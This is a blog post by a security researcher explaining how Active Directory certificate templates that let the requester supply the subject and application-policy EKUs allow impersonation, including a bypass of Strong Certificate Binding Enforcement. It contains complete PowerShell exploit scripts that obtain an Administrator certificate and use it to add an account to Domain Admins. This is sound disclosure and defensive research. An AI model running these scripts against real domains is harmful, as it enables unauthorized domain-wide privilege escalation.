Christoffer Andersson

Last week I presented my session “When your Enterprise PKI becomes one of your enemies” at the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans – Thanks to all who attended my session and for all of the follow up questions I got later during the conference and now also on social media and e-mail – I’m very sorry that my two last demos didn’t work, the reason for that was some issues with the CDP in my demo environment the KDC didn’t consider it’s own certificate valid for PKINIT hence the problem.

The first part of the presentation outlined something very common and dangerous that we already see today, Enterprise CA’s trusted for authentication against Active Directory – publishing certificate templates that allow the subject to be supplied in the request (SITR)

But how can you determine if a CA is trusted for authentication against Active Directory? It’s either trusted in NTAuth + Leaf certificates and KDC certificates have their full chain trusted and is valid – this allows for implicit/explicit UPN mapping e.g. the SAN in the certificate matches the userPrincipalName attribute of the user within Active Directory. If the CA is not trusted in NTAuth only explicit mapping is available using the altSecurityIDs attribute + Leaf certificates and KDC certificates have their full chain trusted and is valid.

By default if you install an Enterprise CA using Active Directory Certificate Services (AD CS) – it will be trusted in NTAuth.

Above you can see the requirements to be trusted to authenticate to Active Directory using certificates – Note that Schannel in the S4U2Self scenarios involves the KDC and the authentication part contains to either NTAuth (implicit mapping) or AltSecID (explicit mapping)

The methods with blue color are required to be considered strong according to the Strong Certificate Binding Enforcement (more on that later _¹)

Active Directory
So let’s have a look how NTAuth – CA’s trusted in NTAuth are stored at the following location ‘CN=NTAuth,CN=Public Key Services,CN=Services,DC=Configuration,DC=X’ in Active Directory and their thumbprint in the multi-valued attribute ‘cACertificate’

Clients
On every domain joined computer a copy of all the trusted CA’s in the above attribute are stored in the registry at the following location: ‘HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates’ where one key for each CA is created and named after the thumbprint of the CA certificate.

Group Policy Autoenrollment Client Side Extension (CSE)
Supposed to cache the content from AD to the Registry on each domain joined machine within the forest (Including DCs).

So who is validating that the CA is trusted in NTAuth?

• Domain Controllers / KDC (if not explicit mapping using AltSecID)
• Network Policy Server (NPS)
• LDAP-STARTTLS
• IIS – SCHANNEL
• ADFS – SCHANNEL (Even if explicit mapping exist using AltSecID)
• Enrollment of templates that have private key archival enabled

So how is the validation that the CA is trusted in NTAuth performed?
If we’re online we’re taking a trip to ‘CN=NTAuth,CN=Public Key Services,CN=Services,DC=Configuration,DC=X’ using LDAP right?

Nope – Verification is done using a API: We’re calling into crypt32.dll?CertVerifyCertificateChainPolicy with the ‘CERT_CHAIN_POLICY_NT_AUTH’ flag

Note: You can test this using PowerShell: Test-Certificate -Cert $cert -Policy NTAUTH

CertVerifyCertificateChainPolicy with the ‘CERT_CHAIN_POLICY_NT_AUTH’ flag will validate two things:

1. If the certificate chain is valid from Leaf Certificate to the Root CA Certificate and that the full chain is trusted.
2. Verify that the CA directly above the Leaf Certificate is trusted in NTAuth – this check is done locally by looking in the registry on the client ‘HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates’ – the API never asks Active Directory.

What is Strong Certificate Binding Enforcement?
Strong Certificate Binding is a response to CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923 address an elevation of privilege vulnerability that can occur when the Kerberos Key Distribution Center (KDC) is servicing a certificate-based authentication request. Before the May 10, 2022 security update, certificate-based authentication would not account for a dollar sign ($) at the end of a machine name. This allowed related certificates to be emulated (spoofed) in various ways. Additionally, conflicts between User Principal Names (UPN) and sAMAccountName introduced other emulation (spoofing) vulnerabilities that we also address with this security update.
More information can be found here: KB5014754: Certificate-based authentication changes on Windows domain controllers and here: Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) | by Oliver Lyak | IFCR

Specifically this protects from the following four scenarios:

1. dNSHostName/servicePrincipalName computer owner abuse, Remove DNS SPNs from servicePrincipalName, steal DNS hostname of a DC, put it in your computer accounts dNSHostName attr and request a cert, auth with the cert and you’re a DC.
2. Overwrite userPrincipalName of user to be of target to hijack user account since the missing domain part does not violate an existing UPN
3. Overwrite userPrincipalName of user to be @ of target to hijack machine account since machine accounts don’t have a UPN
4. Delete userPrincipalName of user and overwrite sAMAccountName to be without a trailing $ to hijack a machine account
   
   Note: 2-4 would require permissions to write to the ‘userPrincipalName’ attribute

So how is Strong Certificate Binding Enforcement implemented?

As outlined in KB5014754: Certificate-based authentication changes on Windows domain controllers once we’re in Full Enforcement mode there is only 3 ways to stay compliant – otherwise certificate based authentication is going to fail against Active Directory – Full Enforcement mode is planned to February 11, 2025 by default with an option to opt-out until September 10, 2025 by explicit configuring your domain controllers to be in Compatibility Mode. But if you have NOT already by yourself rolled into Enforcement Mode -It means your Active Directory is still vulnerable to those CVEs

Options to be compliant with Strong Certificate Binding Enforcement

Supply in the request (SITR) without Client Authentication EKU in the template

One of the requirements for the KDC to accept a certificate for authentication using PKINIT is that the EKU is containing either Client Authentication (1.3.6.1.5.5.7.3.2) or id-pkinit-KPClientAuth (1.3.6.1.5.2.3.4) or Smart Card Logon (1.3.6.1.4.1.311.20.2.2)

Microsoft have a proprietary extension called a Certificate Application Policy and it’s used as an EKU – Defined by this attribute on certificate templates “msPKI-Certificate-Application-Policy Attribute” as this attribute isn’t populated (is empty) on certificate templates that are v1 templates, this attribute can be supplied in the request exactly the same way as we could supply a SAN.

Microsoft issued a statement on this just the day before my presentation on the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans – the statement from MSRC can be found here: Active Directory Certificate Services Elevation of Privilege Vulnerability – CVE-2024-49019 but it’s not telling you the entire truth about how this works, peer see this has nothing to with if the template is v1 or not, it has to do with and only with if the “msPKI-Certificate-Application-Policy” attribute is populated or not, if you copy a v1 template let’s say you copy the default ‘WebServer’ template, its upgraded and the values in ‘pKIExtendedKeyUsage’ are copied by the ‘Certificate Template’ MMC into ‘msPKI-Certificate-Application-Policy’ and you’re safe – so what is not being told here:

1. If you populate all your v1 templates with the same values in ‘pKIExtendedKeyUsage’ into ‘msPKI-Certificate-Application-Policy‘ you’re safe.
2. If you have a v2 template let’s say and don’t define EKUs or having msPKI-Certificate-Application-Policy empty – you’re as well subject to having EKUs supplied in the request and this is regardless template version. Is there any real world scenarios for this – well here is an example of a vendor who guides certificate templates to be created this way: Create and Add a Microsoft Certificate Authority Template

Note all my demos uses ‘CertRequestTools‘ from Carl Sörqvist

Let’s try using this by showing some sample code – For this to work we assume that the default template ‘WebServer’ is published at an Enterprise CA named ‘nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1’ and that it is trusted in NTAuth in a forest with a root domain named nttest.chrisse.com and that the built-in administrator account exists by it’s default name – to utilize this the enrollment permissions needs to be granted either to a user or computer within the forest.

Import-Module -Name CertRequestTools
#CA1 IS Trusted in NTAuth
$CA1 = "nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1"
$ApplicationPoliciesExtension = New-Object -ComObject X509Enrollment.CX509ExtensionMSApplicationPolicies
$ApplicationPolicyOids = New-Object -ComObject X509Enrollment.CCertificatePolicies.1
$ApplicationPolicyOid = New-Object -ComObject X509Enrollment.CObjectId
$ApplicationPolicyOid.InitializeFromValue('1.3.6.1.5.5.7.3.2') #Client Authentication EKU
$CertificatePolicy = New-Object -ComObject X509Enrollment.CCertificatePolicy
$CertificatePolicy.Initialize($ApplicationPolicyOid)
$ApplicationPolicyOids.Add($CertificatePolicy)


$ApplicationPoliciesExtension.InitializeEncode($ApplicationPolicyOids)
$ManagedApplicationPoliciesExtension = 
[System.Security.Cryptography.X509Certificates.X509Extension]::new($ApplicationPoliciesExtension.ObjectId.Value,`
[Convert]::FromBase64String($ApplicationPoliciesExtension.RawData(1)), $ApplicationPoliciesExtension.Critical)

New-PrivateKey -RsaKeySize 2048 -KeyName ([Guid]::NewGuid()) | New-CertificateRequest -Subject "CN=DEMO1" `
 -UserPrincipalName administrator@nttest.chrisse.com `
 -OtherExtension $ManagedApplicationPoliciesExtension | `
 Submit-CertificateRequest -ConfigString $CA1 -Template WebServer | `
 Install-Certificate -Name My -Location CurrentUser

So now we have a certificate with the UPN of the built-in administrator (RID 500) and we supplied the required Client Authentication EKU in the request using the ‘Web Server’ template so our certificate with the subject “CN=DEMO1” should be able to authenticate and become the Administrator account RID500. To do this we use another script to perform LDAP-STARTTLS – select the certificate issued by the previous script when prompted:
^{Note: Change the domain controller from ‘nttest-dc-01.nttest.chrisse.com’ to your own DC, the KDC on the must be capable of performing PKINIT e.g. have valid KDC certificate.}

Add-Type -AssemblyName System.DirectoryServices.Protocols
Add-Type -AssemblyName System.Security
# Change the domain controller to your own DC instead of 'nttest-dc-01.nttest.chrisse.com'
$Id = New-Object -TypeName System.DirectoryServices.Protocols.LdapDirectoryIdentifier -ArgumentList 'nttest-dc-01.nttest.chrisse.com', 389, $true, $false
$Ldap = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList $Id, $null, ([System.DirectoryServices.Protocols.AuthType]::External)
$Ldap.AutoBind = $false
"Certificate selection" | Write-Host
$Location = [System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser
$Name = [System.Security.Cryptography.X509Certificates.StoreName]::My
$Store = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Store -ArgumentList $Name, $Location
$Store.Open("ReadOnly, MaxAllowed, OpenExistingOnly")
$Cert = [System.Security.Cryptography.X509Certificates.X509Certificate2UI]::SelectFromCollection($Store.Certificates.Find("FindByKeyUsage", 0xa0, $true).Find("FindByExtension", "2.5.29.35", $true), "Certificate selection", "Select a certificate", "SingleSelection")
$Store.Dispose()
$Ldap.ClientCertificates.Clear()
[void]$Ldap.ClientCertificates.Add($Cert[0])
$Ldap.SessionOptions.QueryClientCertificate = {
    param(
        [System.DirectoryServices.Protocols.LdapConnection]
        $Connection
        , [Byte[][]]
        $TrustedCAs
    )
    return $Cert[0]
}
 
"Starting TLS" | Write-Host
$Ldap.SessionOptions.StartTransportLayerSecurity($null)
 
$RootDseSearchRequest = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest -ArgumentList '', "(&(objectClass=*))", "Base"
Try
{
    $RootDseSearchResponse = $null
    $RootDseSearchResponse = $Ldap.SendRequest($RootDseSearchRequest)
}
Catch
{
    $Ldap.Dispose()
    throw $_
}
"Default naming context: {0}" -f $RootDseSearchResponse.Entries[0].Attributes["defaultNamingContext"].GetValues([String])
 
"Binding" | Write-Host
Try
{
    $Ldap.Bind()
}
Catch
{
    throw
}
 
# Send an Extended WHOAMI request
$ExtReq = New-Object -TypeName System.DirectoryServices.Protocols.ExtendedRequest -ArgumentList "1.3.6.1.4.1.4203.1.11.3"
$ExtRes = [System.DirectoryServices.Protocols.ExtendedResponse] $Ldap.SendRequest($ExtReq)
"Bound as identity: '{0}'" -f [System.Text.Encoding]::UTF8.GetString($ExtRes.ResponseValue)
# Change to a user you want to add to domain admins 
$UserDN = "CN=Guest,CN=Users,DC=nttest,DC=chrisse,DC=com"
"Adding '{0}' to Domain Admins" -f $UserDN
$Modify = [System.DirectoryServices.Protocols.ModifyRequest]::new("CN=Domain Admins,CN=Users,DC=nttest,DC=chrisse,DC=com", "Add", "member", $UserDN)

Try
{
    $Response = $Ldap.SendRequest($Modify)
}
Catch
{
    $Response = $_.Exception.GetBaseException().Response
}
"Result: {0}" -f $Response.ResultCode
$Ldap.Dispose()

Supply in the request (SITR) with Strong Certificate Binding Enforcement

If we now enable Strong Certificate Binding Enforcement on our KDCs / Domain Controllers by setting/creating the following registry key:
“HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement” as type DWORD and set the value to “2” – Strong Certificate Binding Enforcement is now enabled

We can verify this by trying to authenticate with the certificate already issued above, with the subject CN=DEMO1 – simply run LDAP-STARTTLS – select the certificate issued by the previous script when prompted.

This time the authentication should fail, this is expected as the certificate would not be compliant with Strong Certificate Binding Enforcement, It doesn’t contain the SID extension, neither a SAN with the SID or are being explicit mapped in the altSecID attribute.

So this means that once we reach Strong Certificate Binding Enforcement on all our KDCs / Domain Controllers we’re safe from this supply in the request madness right? Absolutely NOT. Because what if the SID extension could also be supplied in the request?

Let’s issue a certificate once again using the same template ‘WebServer’ but supply a SID as well.

Import-Module -Name CertRequestTools
#CA1 IS Trusted in NTAuth
$CA1 = "nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1"
# Insert the SID as szOID_NTDS_CA_SECURITY_EXT certificate extension
$SidExtension = New-SidExtension -NTAccount NTTEST\Administrator
$ApplicationPoliciesExtension = New-Object -ComObject X509Enrollment.CX509ExtensionMSApplicationPolicies
$ApplicationPolicyOids = New-Object -ComObject X509Enrollment.CCertificatePolicies.1
$ApplicationPolicyOid = New-Object -ComObject X509Enrollment.CObjectId
$ApplicationPolicyOid.InitializeFromValue('1.3.6.1.5.5.7.3.2') #Client Authentication EKU
$CertificatePolicy = New-Object -ComObject X509Enrollment.CCertificatePolicy
$CertificatePolicy.Initialize($ApplicationPolicyOid)
$ApplicationPolicyOids.Add($CertificatePolicy)


$ApplicationPoliciesExtension.InitializeEncode($ApplicationPolicyOids)
$ManagedApplicationPoliciesExtension = 
[System.Security.Cryptography.X509Certificates.X509Extension]::new($ApplicationPoliciesExtension.ObjectId.Value,`
[Convert]::FromBase64String($ApplicationPoliciesExtension.RawData(1)), $ApplicationPoliciesExtension.Critical)

New-PrivateKey -RsaKeySize 2048 -KeyName ([Guid]::NewGuid()) | `
New-CertificateRequest -Subject "CN=DEMO2" `
 -UserPrincipalName administrator@nttest.chrisse.com `
 -OtherExtension $SidExtension,$ManagedApplicationPoliciesExtension | `
 Submit-CertificateRequest -ConfigString $CA1 -Template WebServer | `
 Install-Certificate -Name My -Location CurrentUser

Now you should have a issued certificate with the subject “CN=DEMO2” – Now use the LDAP-STARTTLS script again to authenticate using the new certificate, make sure you select the right certificate, if you want to be sure you can just open certmgr.msc and delete “CN=DEMO1”

You should now have been authenticated and the KDC / Domain Controller is in Strong Certificate Binding Enforcement mode.

To wrap up this first blog post that is an attempt to cover what is presented in the first part of my session “When your Enterprise PKI becomes one of your enemies” at the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans last week there is some key take aways.

• “Strong Certificate Binding Enforcement” will not help you with bad certificate template hygien at all it was designed to prevent CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923.
• Certificate Templates without the ‘msPKI-Certificate-Application-Policy’ is subject to EKUs being supplied in the request regardless of template version.
• Equally – Certificate Templates with at least one EKU in ‘msPKI-Certificate-Application-Policy’ is protected. (You can patch the default v1 ‘WebServer’ if you want) – I’m not in any way recommending to use v1 templates .

Next part will look into how all this can be mitigated by choosing the right design and how templates can be optimally configured – but after that I’m going to cover some of the real bad scenarios.